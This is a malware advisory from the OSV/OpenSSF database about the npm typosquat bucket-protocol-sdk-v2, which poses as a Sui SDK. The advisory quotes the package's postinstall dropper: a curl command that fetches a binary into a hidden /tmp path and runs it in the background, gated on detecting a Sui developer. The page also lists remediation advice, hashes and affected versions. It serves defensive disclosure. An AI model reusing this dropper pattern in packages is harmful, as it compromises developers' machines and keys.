MAL-2026-4502

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/bucket-protocol-sdk-v2/MAL-2026-4502.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4502
Aliases
  • GHSA-23pf-2cqf-xh64
Published
2026-05-20T04:04:00Z
Modified
2026-08-18T00:30:28.662073070Z
Summary
Malicious code in bucket-protocol-sdk-v2 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (e19ff8a6cb5a08bd0561658d41dfe3616f1680bc5acac989c97da38f37ee41b4)

bucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (bucket.ts: export {};, index.ts: export * from './bucket';) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares "postinstall": "node install.js"; install.js checks whether the host is a Sui developer (presence of the sui binary or ~/.sui/sui_config/client.yaml) and then runs curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper & to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named implantUrl with the comment PUT YOUR ACTUAL 0x0.st URL HERE, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.

Source: ghsa-malware (bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "versions": [
                "1.0.26"
            ],
            "import_time": "2026-05-26T05:50:40.680023655Z",
            "sha256": "1b25f4c8e7236236452ca049e0a8409ea8cea78d9ceb131daeea771d6365f61b",
            "id": "IN-MAL-2026-003456",
            "modified_time": "2026-05-20T04:04:30Z",
            "source": "amazon-inspector"
        },
        {
            "import_time": "2026-05-26T05:50:40.570388632Z",
            "sha256": "5bab9298f8bac43d26a48a14cb001113d1415a38e9dbe3d78c55a8ebba95e679",
            "versions": [
                "1.0.11"
            ],
            "id": "IN-MAL-2026-003455",
            "modified_time": "2026-05-20T04:04:10Z",
            "source": "amazon-inspector"
        },
        {
            "versions": [
                "1.0.23"
            ],
            "import_time": "2026-05-26T05:50:41.316971934Z",
            "sha256": "66a46f323763deecb5661ae7aa597ac73691211c718359914fef69c4322309ee",
            "id": "IN-MAL-2026-003462",
            "modified_time": "2026-05-20T04:21:39Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "9612ba97a11244d132e6893004e23f8ba4999200709fc04dc4677a972de03155",
            "versions": [
                "1.0.12"
            ],
            "import_time": "2026-05-26T05:50:41.208819798Z",
            "id": "IN-MAL-2026-003461",
            "modified_time": "2026-05-20T04:21:14Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "b70afaf3f61c7ec2726720fb4c7b00256bed2cd2eb65dc165cfa0fef243ecb13",
            "versions": [
                "1.0.22"
            ],
            "import_time": "2026-05-26T05:50:40.436204814Z",
            "id": "IN-MAL-2026-003454",
            "modified_time": "2026-05-20T04:04:00Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "e19ff8a6cb5a08bd0561658d41dfe3616f1680bc5acac989c97da38f37ee41b4",
            "versions": [
                "1.0.18"
            ],
            "import_time": "2026-05-26T05:50:56.414273874Z",
            "id": "IN-MAL-2026-003600",
            "modified_time": "2026-05-20T19:30:10Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "f213ad1e13ca48fd037fbad78f53b85c280b913fac9cd88632c4ad02f1fa980d",
            "versions": [
                "1.0.19"
            ],
            "import_time": "2026-05-26T05:50:58.104269831Z",
            "id": "IN-MAL-2026-003612",
            "modified_time": "2026-05-20T20:42:07Z",
            "source": "amazon-inspector"
        },
        {
            "import_time": "2026-08-18T00:20:04.615093408Z",
            "sha256": "bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8",
            "id": "GHSA-23pf-2cqf-xh64",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "modified_time": "2026-08-17T16:11:56Z",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / bucket-protocol-sdk-v2

Package

Name
bucket-protocol-sdk-v2
View open source insights on deps.dev
Purl
pkg:npm/bucket-protocol-sdk-v2

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.11
1.0.12
1.0.18
1.0.19
1.0.22
1.0.23
1.0.26

Database specific

cwes
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators
{
    "package_integrity": [
        {
            "filename": "bucket-protocol-sdk-v2-1.0.26.tgz",
            "hashes": {
                "sha512_sri": "sha512-TUDlJnnMfPILAEnK4oJLNRqnrfEBnrL1bjbdPJdLtlmcOKMC1B/SdfAhyIRqWwwOxdShRTvHXz2p6/UDEt08Kw==",
                "sha1": "d2a7ff249158e4d6e9645fde6d0bfb4a5508267a"
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "2d541f32fa2565d1bd59984485a53d5d8e2e5d6ae8dcdcf39487df3aa74c9cce",
            "path": "install.js",
            "tlsh": "86f0c0d202d2b336b9200cd5e959c43aa07bc0007417e6c494c84af72243a24c753cf7"
        },
        {
            "sha256": "44fed77a3d0a86e89770b87608011b2f2b182bbd38aec02e3c133b30f24c032f",
            "path": "package.json",
            "tlsh": "fbe0d82459134bb725c496570c26a167b7255f1f4444380c2adf9b1c839f7778cfa319"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/bucket-protocol-sdk-v2/MAL-2026-4502.json"